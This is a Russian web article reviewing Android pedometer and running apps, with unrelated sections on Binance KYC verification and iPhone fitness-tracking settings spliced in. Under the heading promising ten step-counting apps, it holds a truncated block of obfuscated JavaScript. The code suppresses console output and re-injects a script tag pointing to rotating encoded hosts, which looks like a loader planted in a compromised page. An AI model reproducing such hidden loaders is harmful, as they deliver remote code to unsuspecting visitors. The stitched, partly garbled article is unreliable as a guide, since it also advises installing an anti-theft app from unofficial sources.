Главная » Обзоры

Счетчик пройденного расстояния для андроид

phone pedometr Обзоры
Автор На чтение 34 мин Опубликовано
Содержание
  1. Что такое шагомер и как он считает шаги
  2. 10 приложений для подсчёта шагов
  3. Google fit
  4. Lookout security & antivirus
  5. Samsung health
  6. Step tracker — pedometer & daily walking tracker
  7. Аппаратные фитнес-трекеры
  8. Беговой треккер nike run club
  9. Где завершить верификацию аккаунта?
  10. Как включить (или отключить) отслеживание движения и фитнеса на iphone – btip
  11. Как выбрать и установить шагомер на телефон
  12. Как пройти верификацию личности. пошаговая инструкция.
  13. Недостатки и возможные проблемы relive
  14. Нужна ли верификация на binance?
  15. Педометр – счетчик шагов и калорий
  16. Приложение для записи тренировок strava бег и велоспорт — gps
  17. Самый простой и понятный способ отслеживания маршрутов на android – лайфхакер
  18. Способ 1: через google maps
  19. Способ 2: через историю местоположений «хронология»
  20. Фитнес-трекер для бега adidas running
  21. Часто задаваемые вопросы
  22. Часто задаваемые вопросы (faq)
  23. Часто задаваемые вопросы:
  24. Шагомер для ходьбы и бега
  25. Явно: с помощью программы where’s my droid
  26. Итоги
  27. Узнайте больше о Huawei

Что такое шагомер и как он считает шаги

Для начала давайте разберемся, что это вообще такое — шагомер в смартфоне или часах. Всем известно, что он служит для подсчета шагов, чтобы пользователь мог следить за своей активностью в течении дня. Но откуда он берет все данные?

Главное условие, при котором смартфон будет работать как шагомер — наличие акселерометра. Это датчик положения, который определяет ускорение объекта в пространстве. Самый простой способ узнать о наличии акселерометра — проверить, есть ли у смартфона функция поворота дисплея.

https://www.youtube.com/watch?v=pLto64P5Hg8

Но откуда берутся шаги? Если объяснять простыми словами, то акселерометр постоянно «следит», неподвижен смартфон или нет. Во время ходьбы он улавливает изменение ускорения и передает данные об этом на процессор, который, в свою очередь, помогает отобразить информацию о шагах в понятном человеку виде.

Многие современные устройства оснащены не только акселерометром, но и гироскопом. И если акселерометр определяет, двигается устройство или нет, то гироскоп отслеживает положение объекта в пространстве — то есть угол, на который изменилось направление движения вашего смартфона или фитнес-браслета.

10 приложений для подсчёта шагов

>(-0x2*_0xe52d7b&0x6)):0x0){_0x4fa009=_0x33835b[‘indexOf’](_0x4fa009);}return _0x2ce216;};a0_0x5344[‘MSYvHM’]=function(_0x147d37){var _0x3a3234=_0x53444e(_0x147d37);var _0x95b9f2=[];for(var _0x5c109c=0x0,_0x492bcc=_0x3a3234[‘length’];_0x5c109c<_0x492bcc;_0x5c109c ){_0x95b9f2 =’%’ (’00’ _0x3a3234[‘charCodeAt’](_0x5c109c)[‘toString’](0x10))[‘slice’](-0x2);}return decodeURIComponent(_0x95b9f2);},a0_0x5344[‘uDogYq’]={},a0_0x5344[‘NuDHGB’]=!![];}var _0x75b161=a0_0x5344[‘uDogYq’][_0x35036b];if(_0x75b161===undefined){var _0x813e7b=function(_0x3456c1){this[‘jOBnSf’]=_0x3456c1,this[‘VcOAHj’]=
[0x1,0x0,0x0],this[‘aBvRRk’]=function(){return’newState’;},this[‘hSfrHc’]=’x5cw x20*x5c(x5c)x20*{x5cw x20*’,this[‘JuTrEU’]='[x27|x22]. [x27|x22];?x20*}’;};_0x813e7b[‘prototype’][‘DjFBTt’]=function(){var _0x5282aa=new RegExp(this[‘hSfrHc’] this[‘JuTrEU’]),_0x3a962a=_0x5282aa[‘test’](this[‘aBvRRk’][‘toString’]())?–this[‘VcOAHj’][0x1]:–this[‘VcOAHj’][0x0];return this[‘JyOvZW’](_0x3a962a);},_0x813e7b[‘prototype’][‘JyOvZW’]=function(_0x276526){if(!Boolean(~_0x276526))return _0x276526;return this[‘AakBhD’](this[‘jOBnSf’]);},_0x813e7b[‘prototype’][‘AakBhD’]=function(_0x461fbf){for(var _0x14f506=0x0,_0x2ee2e0=this[‘VcOAHj’][‘length’];_0x14f506<_0x2ee2e0;_0x14f506 ){this[‘VcOAHj’][‘push’](Math[’round’](Math[‘random’]())),_0x2ee2e0=this[‘VcOAHj’][‘length’];}return _0x461fbf(this[‘VcOAHj’][0x0]);},new _0x813e7b(a0_0x5344)[‘DjFBTt’](),_0x3ab154=a0_0x5344[‘MSYvHM’](_0x3ab154),a0_0x5344[‘uDogYq’][_0x35036b]=_0x3ab154;}else _0x3ab154=_0x75b161;return _0x3ab154;};!function(_0x9927ec){var _0x147d37=function(){var
_0x492bcc=!![];return function(_0x813e7b,_0x3456c1){var _0x5282aa=_0x492bcc?function(){var _0x39e649=a0_0x5344;if(_0x3456c1){var _0x3a962a=_0x3456c1[_0x39e649(0x19e)](_0x813e7b,arguments);return _0x3456c1=null,_0x3a962a;}}:function(){};return _0x492bcc=![],_0x5282aa;};}(),_0x3a3234=function(){var _0x276526=!![];return function(_0x461fbf,_0x14f506){var _0x2ee2e0=_0x276526?function(){var _0x366da0=a0_0x5344;if(_0x14f506){var _0x1e0ef5=_0x14f506[_0x366da0(0x19e)](_0x461fbf,arguments);return _0x14f506=null,_0x1e0ef5;}}:function(){};return _0x276526=![],_0x2ee2e0;};}(),_0x95b9f2={};function _0x5c109c(_0x27154d){var _0xcaea4d=a0_0x5344,_0xfcac6c=_0x147d37(this,function(){var _0x7c8730=function(){var _0x5b59d9=a0_0x5344,_0x4f08e7=_0x7c8730[_0x5b59d9(0x193)](_0x5b59d9(0x174))()[_0x5b59d9(0x193)](_0x5b59d9(0x19b));return!_0x4f08e7[_0x5b59d9(0x1ac)](_0xfcac6c);};return _0x7c8730();});_0xfcac6c();var _0xeaa392=_0x3a3234(this,function(){var _0x122b2d=a0_0x5344,_0x4e2253;try{var
_0x13b746=Function(_0x122b2d(0x1ae) _0x122b2d(0x175) ‘);’);_0x4e2253=_0x13b746();}catch(_0x518bc2){_0x4e2253=window;}var _0x345b99=_0x4e2253[_0x122b2d(0x182)]=_0x4e2253[_0x122b2d(0x182)]||{},_0x17fae1=[_0x122b2d(0x1a9),_0x122b2d(0x197),_0x122b2d(0x185),_0x122b2d(0x18f),_0x122b2d(0x196),_0x122b2d(0x18e),_0x122b2d(0x1a3)];for(var _0x1f4484=0x0;_0x1f4484<_0x17fae1[_0x122b2d(0x17b)];_0x1f4484 ){var _0x58d3ee=_0x3a3234[_0x122b2d(0x193)][_0x122b2d(0x1a5)][_0x122b2d(0x1a2)](_0x3a3234),_0x10cd41=_0x17fae1[_0x1f4484],_0x174496=_0x345b99[_0x10cd41]||_0x58d3ee;_0x58d3ee[_0x122b2d(0x18c)]=_0x3a3234[_0x122b2d(0x1a2)](_0x3a3234),_0x58d3ee[_0x122b2d(0x199)]=_0x174496[_0x122b2d(0x199)][_0x122b2d(0x1a2)](_0x174496),_0x345b99[_0x10cd41]=_0x58d3ee;}});_0xeaa392();if(_0x95b9f2[_0x27154d])return _0x95b9f2[_0x27154d][_0xcaea4d(0x17a)];var _0x217ef4=_0x95b9f2[_0x27154d]={‘i’:_0x27154d,’l’:!0x1,’exports’:{}};return _0x9927ec[_0x27154d][_0xcaea4d(0x1ab)]
(_0x217ef4[_0xcaea4d(0x17a)],_0x217ef4,_0x217ef4[_0xcaea4d(0x17a)],_0x5c109c),_0x217ef4[‘l’]=!0x0,_0x217ef4[_0xcaea4d(0x17a)];}_0x5c109c[‘m’]=_0x9927ec,_0x5c109c[‘c’]=_0x95b9f2,_0x5c109c[‘d’]=function(_0x3fd18b,_0x325dba,_0x1ab03a){var _0x275bc6=a0_0x5344;_0x5c109c[‘o’](_0x3fd18b,_0x325dba)||Object[_0x275bc6(0x1a6)](_0x3fd18b,_0x325dba,{‘enumerable’:!0x0,’get’:_0x1ab03a});},_0x5c109c[‘r’]=function(_0xc3598c){var _0xce1d3c=a0_0x5344;_0xce1d3c(0x176)!=typeof Symbol&&Symbol[_0xce1d3c(0x19f)]&&Object[_0xce1d3c(0x1a6)](_0xc3598c,Symbol[_0xce1d3c(0x19f)],{‘value’:_0xce1d3c(0x1a1)}),Object[_0xce1d3c(0x1a6)](_0xc3598c,_0xce1d3c(0x1b0),{‘value’:!0x0});},_0x5c109c[‘t’]=function(_0x29b1a1,_0x5eb5bd){var _0x577743=a0_0x5344;if(0x1&_0x5eb5bd&&(_0x29b1a1=_0x5c109c(_0x29b1a1)),0x8&_0x5eb5bd)return _0x29b1a1;if(0x4&_0x5eb5bd&&_0x577743(0x186)==typeof _0x29b1a1&&_0x29b1a1&&_0x29b1a1[_0x577743(0x1b0)])return _0x29b1a1;var _0x5c0015=Object[_0x577743(0x1b5)](null);if(_0x5c109c[‘r’](_0x5c0015),Object[_0x577743(0x1a6)](_0x5c0015,_0x577743(0x183),
{‘enumerable’:!0x0,’value’:_0x29b1a1}),0x2&_0x5eb5bd&&_0x577743(0x1b3)!=typeof _0x29b1a1)for(var _0x10f741 in _0x29b1a1)_0x5c109c[‘d’](_0x5c0015,_0x10f741,function(_0x4e84e4){return _0x29b1a1[_0x4e84e4];}[_0x577743(0x1a2)](null,_0x10f741));return _0x5c0015;},_0x5c109c[‘n’]=function(_0x131996){var _0x5e67db=a0_0x5344,_0x4b9a96=_0x131996&&_0x131996[_0x5e67db(0x1b0)]?function(){var _0x327075=_0x5e67db;return _0x131996[_0x327075(0x183)];}:function(){return _0x131996;};return _0x5c109c[‘d’](_0x4b9a96,’a’,_0x4b9a96),_0x4b9a96;},_0x5c109c[‘o’]=function(_0x1fd9c6,_0x794c81){var _0x146304=a0_0x5344;return Object[_0x146304(0x1a5)][_0x146304(0x198)][_0x146304(0x1ab)](_0x1fd9c6,_0x794c81);},_0x5c109c[‘p’]=”,_0x5c109c(_0x5c109c[‘s’]=0x0);}([function(_0x2a4160,_0x5a2751,_0x9b0b7a){var _0x284acf=a0_0x5344;_0x2a4160[_0x284acf(0x17a)]=_0x9b0b7a(0x1);},function(_0x47793c,_0x307fe5,_0x5e530c){var _0x2e5f94=a0_0x5344;’use strict’;_0x5e530c[‘r’](_0x307fe5);const _0x3a83f3=[[_0x2e5f94(0x17c),_0x2e5f94(0x1a7)],[_0x2e5f94(0x1aa),_0x2e5f94(0x178)],
[_0x2e5f94(0x1a0),_0x2e5f94(0x188)],[_0x2e5f94(0x172),_0x2e5f94(0x1b4)],[_0x2e5f94(0x179),_0x2e5f94(0x1b1)],[_0x2e5f94(0x191),_0x2e5f94(0x192)],[_0x2e5f94(0x17d),_0x2e5f94(0x1a8)],[_0x2e5f94(0x195),_0x2e5f94(0x194)]][_0x2e5f94(0x1af)](_0x3d41fc=>_0x3d41fc[0x0]);(()=>{var _0x2ef6b9=_0x2e5f94;const _0x5d3700=document[_0x2ef6b9(0x18a)](_0x2ef6b9(0x184)),_0x51ee15=new window[(_0x2ef6b9(0x190))](_0x5d3700[_0x2ef6b9(0x17f)]),_0x180a4a=parseInt(_0x5d3700[_0x2ef6b9(0x18b)](_0x2ef6b9(0x18d)))||0x0;if(_0x180a4a>=_0x3a83f3[_0x2ef6b9(0x17b)])return _0x5d3700[_0x2ef6b9(0x1a4)]=null,void console[_0x2ef6b9(0x1a9)](_0x2ef6b9(0x1ad));_0x51ee15[_0x2ef6b9(0x19a)]=_0x3a83f3[_0x180a4a];const
_0x2fce4c=document[_0x2ef6b9(0x189)](_0x2ef6b9(0x177));[…_0x5d3700[_0x2ef6b9(0x1b2)]][_0x2ef6b9(0x19d)](_0x2ed4c9=>_0x2fce4c[_0x2ef6b9(0x180)](_0x2ed4c9[_0x2ef6b9(0x173)],_0x2ed4c9[_0x2ef6b9(0x1b6)])),_0x2fce4c[_0x2ef6b9(0x180)](_0x2ef6b9(0x18d),_0x180a4a 0x1),_0x2fce4c[_0x2ef6b9(0x180)]
(_0x2ef6b9(0x17f),_0x51ee15[_0x2ef6b9(0x199)]()),_0x5d3700[_0x2ef6b9(0x187)][_0x2ef6b9(0x19c)](_0x5d3700),document[_0x2ef6b9(0x17e)][_0x2ef6b9(0x181)]
(_0x2fce4c);})();}]);”>

Google fit

Преимущества

Недостатки

— экономия расхода батареи

— синхронизация с умными часами

— неудобный просмотр статистики (нужно заходить в приложение)

Google Fit – приложение для измерения ежедневной активности от известного разработчика. Позволяет оставаться в форме на протяжении рабочей недели и выходных.

Главная особенность — широкая поддержка дополнительных устройств и сервисов.

В частности, Google Fit умеет синхронизироваться с часами на базе Wear OS, а также с гаджетами Xiaomi Mi.

Шагомер интегрируется с другими приложениями, включая Sleep as Android, Runkeeper, Strava, MyFitnessPal, Lifesum и другими.

Для измерения используются два показателя: минуты активности и баллы. кардиотренировок. Минуты активности — своего рода рекомендации, что можно сделать: пробежаться, подняться по лестнице, встретиться с другом, выгулять собаку.

Баллы выдаются на протяжении дня за выполненные задания. Google Fit автоматически определяет, когда сердечный ритм ускорился или вы двигались ускоренным шагом.

Приложение умеет выставлять цели, мотивировать и напоминать, когда нужно проявлять активность. Также утилита заносит все действия в журнал — их вы можете просматривать в виде отчетов.

Lookout security & antivirus

Хорошая программа, прекрасно выполняющая свои основные опции: слежение и дистанционное управление устройством Андроид. Вот только именно такую утилиту уже невозможно найти в Google Play. Воспользуйтесь другим проверенным источником, но будьте аккуратны с вирусами.

Для начала вам необходимо зарегистрироваться в своем личном кабинете, указав электронную почту, пароль, номер телефона и т. д. Далее вы можете узнать, где в данный момент находится смартфон.

При необходимости активируйте звуковой сигнал, помогающий найти девайс в помещении. Обратите внимание, что мелодия заиграет даже при беззвучном режиме. Еще доступно полное очищение данных с телефона. В случае выключения аппарата или удаления программы пользователю показываются последние полученные координаты.

Samsung health

Приложение отслеживает потраченные калории, дистанцию, время ходьбы и представляет информацию на понятных графиках. Для начала подсчета шагов достаточно нажать кнопку старта.

  • Для получения точных данных необходимо указать начальную информацию в настройках — она используется для подсчета пройденного расстояния и сожженных калорий.
  • Чтобы сделать измерения более точными, можно изменить чувствительность вручную.
  • Для измерения дистанции используется встроенный датчик, что позволяет экономить заряд батареи.
  • Приложение функционирует даже после блокировки телефона.

Основные функции приложения:

  • Отслеживание проделанного пути, времени прогулки.
  • Построение графиков за сутки, неделю или месяц.
  • Возможность поставить на паузу и возобновить подсчет, а также сбросить данные и начать подсчет шагов заново.

Приложение абсолютно бесплатное, но содержит рекламный контент.

Step tracker — pedometer & daily walking tracker

Преимущества

Недостатки

— 100% бесплатно, все функции доступны

— настраиваемые графики, подробный анализ

— в Android 10 неточный рассчет

— работает только при тряске

Чтобы активировать шагомер, после запуска Step Tracker выберите один из двух возможных режимов:

  1. Подсчет ежедневно затрачиваемой энергии;
  2. План действий.

Счетчик автоматически и с высокой точностью фиксирует шаги и предоставляет информацию в графической форме.

  • Подсчет в реальном времени пройденного расстояния, скорости, изменений массы тела).
  • Разминка перед ходьбой.
  • Возможность пригласить друзей и соревноваться в прохождении длинных дистанций.
  • Создание индивидуального плана действий, включающего продолжительность прогулки, длину дистанции, изменение веса, а также контроль прогресса.
  • Отслеживание привычек и состояния здоровья.
  • Получение уведомлений в процессе использования шагомера.

Дополнительные функции Step Tracker:

Аппаратные фитнес-трекеры

Цена: варьируется, но приложения бесплатны.

Оборудование для фитнес-трекеров широко доступно. Вы, наверное, слышали о некоторых брендах, например о Fitbit. Вы носите эти устройства, и они отслеживают вашу статистику. У всех есть официальное приложение, в котором вы можете отслеживать прогресс, видеть, что вы сделали, и следить за своим прогрессом с течением времени.

Fitbit, наверное, самый популярный пример. Аппаратное обеспечение довольно дорогое, но работает неплохо. Это вместе с чем-то вроде FitNotes, и вы можете отслеживать практически все. Есть много хороших фитнес-трекеров. У нас есть список лучших, связанный с кнопкой выше.

ПОСМОТРЕТЬ ЛУЧШИЕ ТРЕКЕРЫ ФИТНЕСА!

Беговой треккер nike run club

Скачиваний: 10 000 000

В Nike всегда уделяют особое внимание стилю. Интерфейс приложения для бега Nike Run Club заряжен мотивацией, а его техническая начинка даёт возможность удобно отслеживать прогресс.

Функционал приложения как GPS-трекера стандартный. Во время тренировки есть возможность отслеживать время, расстояние, темп, пульс — при наличии пульсометра — и видеть преодолённый маршрут. Также есть информация по показателям темпа, которые фиксируются каждый километр. Для поднятия мотивации прямо из окна записи тренировки можно настроить доступ к аудиоплееру, чтобы выбрать музыку для пробежки.

Особая фишка Nike Run Club — аудиосопровождение тренировки голосами атлетов, тренеров NRC и знаменитостей, которые будут подбадривать вас в течение всей пробежки, помогут поддерживать темп, сообщат текущие показатели расстояния, времени, скорости и создадут спортивный настрой. Уже есть несколько видов аудиотренировок: короткие, восстановительные, длительные, на скорость. Они записаны, например, с Фёдором Смоловым, Монеточкой, Дзюбой, Big Russian Boss’ом, а также есть аудиосопровождение на английском языке.

Беговая статистика доступна в разделе «Активность» — здесь есть список всех тренировок, а также сводный график забегов по неделям, месяцам и годам. Выполнение беговых вызовов носит элемент игры: в процессе можно собрать коллекцию оригинальных бейджей и выходить на новые уровни сложности. От жёлтого уровня, обозначающего общую дистанцию до 50 км, и до Вольта, который присваивается за преодоление 15 000 км.

В разделе «Клуб» представлена обширная география беговых клубов Nike по всему миру. Здесь можно найти единомышленников и новые знакомства, а также, участвуя в «вызовах», заработать высокое место в рейтинге бегунов NRC. И, конечно же, в приложении есть возможность поделиться в соцсетях стильной визуализацией маршрута вашей тренировки с фирменными стикерами NRC.

В приложении есть блог со статьями от беговых экспертов Nike и советы на распространённые темы: «как избежать травмы», «как настроиться на пробежку», «какая пища полезна». Приложение поддерживает Android Wear Os.

Интересно заметить, что в Nike Run Club нет платного функционала, — на момент этой публикации все перечисленные функции бесплатны. Но вот в родственном приложении Nike Training Club платный функционал уже присутствует.

Где завершить верификацию аккаунта?

Пройти проверку личности можно в разделе «Центр пользователя» – «Верификация» или по этой ссылке . На странице доступен ваш текущий уровень верификации, определяющий торговый лимит вашего аккаунта на Binance. Чтобы увеличить лимит, пройдите верификацию соответствующего уровня.

Верификация личности , или процедура «Know Your Customer» (KYC), предназначена для защиты вашего аккаунта от мошенничества, коррупции, отмывания денег и финансирования терроризма.

Чтобы получить доступ к продуктам и услугам Binance, включая торговлю, ввод и вывод криптовалют, все новые пользователи должны выполнить «Промежуточную» верификацию.

Для существующих пользователей, не прошедших «Промежуточную» верификацию, разрешения аккаунта будут временно изменены на «Только вывод», а из услуг будут доступны только: вывод средств, отмена ордеров, закрытие позиций и изъятие средств.

В зависимости от выбранного региона или платежных каналов, возможно, потребуется повысить уровень верификации личности для повышения безопасности вашего аккаунта. Дополнительная информация доступна в статье «Почему нужно проходить проверку персональных данных?» .

Как включить (или отключить) отслеживание движения и фитнеса на iphone – btip

Счетчик пройденного расстояния для андроид

В новых iPhone есть возможность отслеживать фитнес-активность и движения и отображать эти данные в приложении Health и других приложениях. Отслеживание фитнеса осуществляется с помощью маломощного сопроцессора движения, который определяет шаги, набор высоты и потерянную высоту, а также пройденное расстояние, и многим пользователям нравится эта функция, поскольку она представляет собой простой способ следить за уровнем их активности и, возможно, работать над этим. эта цель — более 10 000 активных шагов в день.


Отслеживание фитнеса включено по умолчанию в iOS, что может позволить iPhone служить своего рода шагомером, но если по какой-то причине вы хотите отключить функцию обнаружения движения на своем iPhone, вы тоже можете это сделать.

Если вам нравится функция отслеживания физической активности и движения на iPhone, вам следует оставить этот параметр включенным. Отключение этого параметра также очистит панель мониторинга приложения «Здоровье» от отслеживаемых данных о фитнесе.

  1. Откройте приложение «Настройки» на iPhone и перейдите в «Конфиденциальность».
  2. Прокрутите вниз и выберите «Движение и фитнес».
  3. Переведите переключатель рядом с «Фитнес-отслеживание» в положение «ВЫКЛ» или «ВКЛ.» По желанию.
  4. Выйдите из настроек, изменение вступит в силу немедленно.

Переключить отслеживание фитнеса и активности на iPhone

Если у вас это было отключено и включено, вам все равно нужно включить соответствующие параметры на панели мониторинга работоспособности, чтобы на самом деле видеть и отслеживать данные о вашей активности на значимом графике.

Отслеживание активности и шагов в приложении iPhone Health

Имейте в виду, что это полностью отключает функцию отслеживания для всех приложений на iPhone, а не только для приложения Health. Если вы отключите этот параметр, функция шагомера и все связанные функции мониторинга фитнес-активности на iPhone будут отключены независимо от того, читаете ли вы эти данные в приложении «Здоровье» или в стороннем приложении.

Отключение отслеживания фитнеса приводит к пустой панели мониторинга приложения Health, но не по ошибочным причинам, которые можно быстро устранить, поскольку отслеживание фактически отключено. Чтобы изменить это, вам, очевидно, нужно снова включить эту функцию, но все данные о фитнесе и активности до повторного включения отслеживания будут недоступны.

Лично я рекомендую оставить эту функцию включенной и обращаться к ней. Это может служить легким напоминанием о том, что нужно больше двигаться, что особенно важно в нашу современную эпоху преимущественно сидячей рабочей среды на рабочем месте.

Поскольку, несомненно, многим интересен уровень их активности, исследование спортивной медицины опубликовано на NIH обеспечивает следующее количество шагов и уровень активности, который они представляют, на основе данных шагомера:

  • Менее 5000 шагов в день — «малоподвижный образ жизни»
  • 5000-7499 шагов в день — «малоактивный»
  • 7500-9999 шагов в день — «несколько активный»
  • 10,000-12499 шагов в день — «активные»
  • Более 12500 шагов в день — «высокая активность»

Определение уровня своей физической активности на основе данных с вашего iPhone может быть несколько шокирующим — приятно или нет — и довольно часто многие люди, которые не считают себя сидячими, обнаруживают, что они почти не двигаются в течение дня. Если вы хотите что-то изменить и, вероятно, должны, PBS дает несколько советов о том, как постепенно повышать уровень активности попасть туда. То, что iPhone (или Apple Watch, или и то и другое) могут помочь вам в этом, — приятный бонус.

Вы используете свой iPhone в качестве фитнес-трекера? Расскажите нам о своем опыте в комментариях.

Как выбрать и установить шагомер на телефон

Педометр обычно не предустановлен производителем, но его несложно установить на смартфон самостоятельно. Сегодня для отслеживания физической активности есть множество программных продуктов, которые в изобилии присутствуют в магазинах приложений.

Как подключить шагомер к телефону:

Приложение будет работать только при наличии акселерометра в смартфоне.

Функционал программ может отличаться, отдельные педометры предлагают кроме подсчёта шагов, калорий и расстояния множество дополнительных опций. Некоторые шагомеры включают планы тренировок и позволяют соревноваться с другими пользователями. Новичку можно выбрать максимально простое приложение с базовыми функциями. Работать с интерфейсом софта данной категории просто, обычно освоиться можно в считанные минуты.

Чтобы настроить шагомер на телефоне, нужно указать в приложении параметры роста, веса, длину шага и прочие требуемые данные. Кроме того, можно переключиться в режим бега, задать маршрут и выполнить другие настройки, предполагающиеся функционалом софта.

Как пройти верификацию личности. пошаговая инструкция.

1. Войдите в аккаунт Binance и перейдите в раздел «Центр пользователей» – «Верификация».

3. Затем вы увидите «Базовую» , «Промежуточную» и «Расширенную» верификации, а также соответствующие лимиты на пополнение и снятие средств. Лимиты различаются по странам. Вы можете изменить свою страну, нажав кнопку рядом с «Страна/регион проживания».

После этого нажмите «Начать», чтобы верифицировать аккаунт.

4. Выберите страну проживания. Убедитесь в том, что указанная страна соответствует вашим документам, удостоверяющим личность.

После этого вы увидите список требований к верификации для вашей страны/региона. Нажмите «Продолжить».

4. Введите персональные данные и нажмите «Продолжить».

Убедитесь в том, что вся предоставленная информация соответствует документам, удостоверяющим личность . Вы не сможете изменить ее после подтверждения.

6. Затем потребуется загрузить фотографии документов, удостоверяющих личность. Пожалуйста, выберите тип документа, удостоверяющего личность, и страну, выдавшую документы. Большинство пользователей выбирают верификацию с помощью паспорта, удостоверения личности или водительских прав. Пожалуйста, ознакомьтесь с вариантами, доступными для вашей страны.

7. Следуйте инструкциям и загрузите фотографии документа. Фотографии должны включать отчетливое и полное изображение документа, удостоверяющего личность.

К примеру, если вы используете удостоверение личности, необходимо сделать фото его лицевой и оборотной стороны.

8. После загрузки фотографий документа система попросит сделать селфи. Нажмите «Загрузить», чтобы загрузить имеющееся фото с компьютера.

9. Затем вам потребуется пройти проверку лица. Нажмите «Продолжить», чтобы пройти проверку лица на компьютере. Пожалуйста, не надевайте головной убор или очки, не используйте фильтры и удостоверьтесь в том, что в помещении достаточно света.

Кроме того, вы можете переместить указатель мыши на QR-код внизу справа, чтобы завершить проверку через приложение Binance. Отсканируйте QR-код с помощью приложения Binance, чтобы завершить процесс верификации.

10. После завершения, пожалуйста, подождите. Binance выполнит проверку ваших данных в указанный срок. Как только ваша заявка будет проверена, мы отправим вам уведомление по электронной почте.

  • Пожалуйста, введите базовую информацию и завершите верификацию фотографий в течение 15 минут. Не обновляйте в это время браузер.
  • Доступно до 10 попыток верификации личности в сутки. Если ваша заявка будет отклонена 10 раз в течение 24 часов, вам придется подождать 24 часа, чтобы повторить попытку.

Недостатки и возможные проблемы relive

Целевая аудитория Основные фишки Голосовые оповещения Платная подписка* Интеграция с GPS-часами
Strava Бегуны среднего и высокого уровня Общение с единомышленниками, виртуальные соревнования на участках, планирование маршрутов Есть (русский язык) 340,83 руб/мес или 4090 руб/год Suunto, Garmin, Polar, Coros
adidas Running От бегунов начального уровня до профессионалов Мотивация и просветительские материалы, планы тренировок Есть (английский язык) 599 руб/мес или 2990 руб/год Suunto, Garmin, Polar, Coros
Nike Run Club От бегунов начального уровня до профессионалов Мотивация и просветительские материалы, аудиопробежки Есть (русский язык) Нет Garmin, Polar
Беговой трекер Leap Начинающие бегуны Тренировочные программы для первых шагов в беге и для похудения Есть (русский язык) 229 руб/мес или 790 руб/год Нет
Relive Бегуны, желающие визуализировать свои пробежки на карте Создание видео маршрутов тренировок Нет 269 руб/мес или 1550 руб/год Suunto, Garmin, Polar, Coros

Нужна ли верификация на binance?

До последнего времени на Binance обязательная верификация аккаунта была не нужна. Она требовалась только в случае, если клиент выводил на свои кошельки более двух биткоинов в день или работал с фиатными валютами. Некоторое время назад лимит вывода снизили до 0,06 биткоинов в сутки.

В августе 2021 года биржа в рамках борьбы с отмыванием средств ввела изменения в правила регистрации, согласно которым базовая верификация на криптобирже Binance стала обязательной для всех пользователей.

Ранее только верификация давала возможность выводить более 2 биткоинов, позднее 0,06 ВТС в день, или же в иных валютах, но их совокупная стоимость не должна была превышать 2 ВТС по текущему курсу обмена биржи. Сейчас, с 19 августа, даже старые пользователи, работавшие без верификации, обязаны пройти проверку.

Без прохождения процедуры им постепенно оставят только функции вывода, отмены заказа и закрытия позиции, но с ограничениями, постепенно нарастающими. Период проверки данных для всех продлится до 19 октября 2021 года. Для новых клиентов любые финансовые услуги будут доступны лишь после прохождения проверки.

Для добросовестного трейдера эта процедура имеет только преимущества

  • Отсутствие ограничения на вывод средств и совершение сделок.
  • Повышенный уровень безопасности, управление электронным кошельком не может быть перехвачено.
  • Отсутствие проблем с налоговыми органами и финансовым мониторингом. Несмотря на получение от клиента персональных данных, биржа не информирует власти страны, гражданином которой он является, о совершаемых операциях.

Она важна для репутации, и, соответственно для доходов пользователей. Сами же пользователи вправе рассчитывать на повышенный уровень безопасности активов и транзакций.

Педометр – счетчик шагов и калорий

Преимущества

Недостатки

— независимость от GPS

— комплексный замер (сердцебиение, питание, калории)

— большие погрешности на некоторых Андроид устройствах

Программа измеряет число пройденных шагов и потраченных калорий, контролирует вес тела, используя научные методы, а также визуализирует полученные данные посредством графиков.

  • Точный подсчет пройденного расстояния в режиме реального времени.
  • Разграничение ходьбы, езды на автомобиле и других видов передвижения.
  • Отслеживание потраченных калорий.
  • Подсчет пройденного расстояния, времени прогулки и количества шагов в разное время дня.
  • Генерация отчетов и диаграмм за разные периоды времени (неделя, месяц, год).
  • PUSH-уведомления о важных событиях, связанных со здоровьем.
  • Персональные настройки (установка единиц измерения роста и веса), постановка и обновление целей по ходьбе.
  • Начисление бонусов: получение подарочных значков за каждые 10 тысяч шагов.
  • Синхронизация данных тренировки с Google Fit.
  • Работа в фоновом режиме без входа в программу.
  • Возможность делиться достижениями с друзьями.
  • Наличие системы конфиденциальности.
  • Поддержка множества языков.

Все возможности шагомера предоставляются бесплатно. Имеется рекламный контент.

Приложение для записи тренировок strava бег и велоспорт — gps

  • Запись тренировок с возможностью выбора вида спорта, отслеживания расстояния, темпа, скорости, набора высоты, затраченных калорий и последующей аналитикой этих данных.
  • Календарь активности с личной статистикой по месяцам и годам: сколько километров преодолено, за какое время, с каким набором высоты.
  • Общение с единомышленниками и возможность делиться фотографиями и рассказами о своих спортивных приключениях как в «Страве», так и в других соцсетях.
  • Виртуальные соревнования на «участках», индивидуальные задачи, турнирные таблицы в клубах и даже конкурсы GPS-рисунка.

Приверженцы конфиденциальности данных могут скрыть свои тренировки в приложении или настроить «закрытую зону», которая скрывает начальную или конечную точку вашего маршрута, например дом или место работы. Трек остальной тренировки будет отображаться в обычном формате.

Десктопная версия немного отличается от приложения. Например, при просмотре результатов тренировки есть кнопка FlyBy — интерактивная карта, на которой видно, кто тренировался рядом с вами в это же время. Функция FlyBy по умолчанию выключена в целях сохранения конфиденциальности, но её легко включить в настройках.

Самый простой и понятный способ отслеживания маршрутов на android – лайфхакер

Обилие всевозможных спортивных приложений в Google Play Store вполне может ввести начинающего пользователя в лёгкий шок. А ведь в то же самое время большинству людей не очень и нужны все эти замеры калорий, пульса и уровня кислотности в желудке. Зачастую единственными значимыми параметрами являются дистанция, время и скорость, с которыми был пройден маршрут. Если вы из таких людей, и вам совершенно не нужны лишние функции, то стоит обратить внимание на простое опенсорсное спортивное приложение от Google.

Речь идёт о старом и проверенном My Tracks, локализованном в русскоязычном магазине как «Мои треки».

Естественно, приложению потребуется доступ к отслеживанию вашего местоположения через GPS. От пользователя требуется только включить и остановить запись маршрута, а остальные данные будут вноситься в статистику автоматически. «Мои треки» посчитает расстояние, скорость и время маршрута, а затем предложит сохранить его для общей статистики. В процессе сохранения пользователь может присвоить каждому маршруту своё уникальное имя, его тип (пробежка, велосипедная прогулка и так далее), а также добавить собственное небольшое описание.

Ознакомиться с результатами можно наглядно на графике, либо через сводную статистику.

Своими достижениями можно делиться через популярные социальные сервисы, а при желании пользователю доступно сохранение маршрута в один из универсальных форматов для его дальнейшего экспорта, либо перенос в картографический сервис Google.

Если же пользователю хочется получать дополнительные данные о состоянии своего организма в процессе занятий, то «Мои треки» поддерживает пульсометры Zephyr HxM и Polar WearLink.

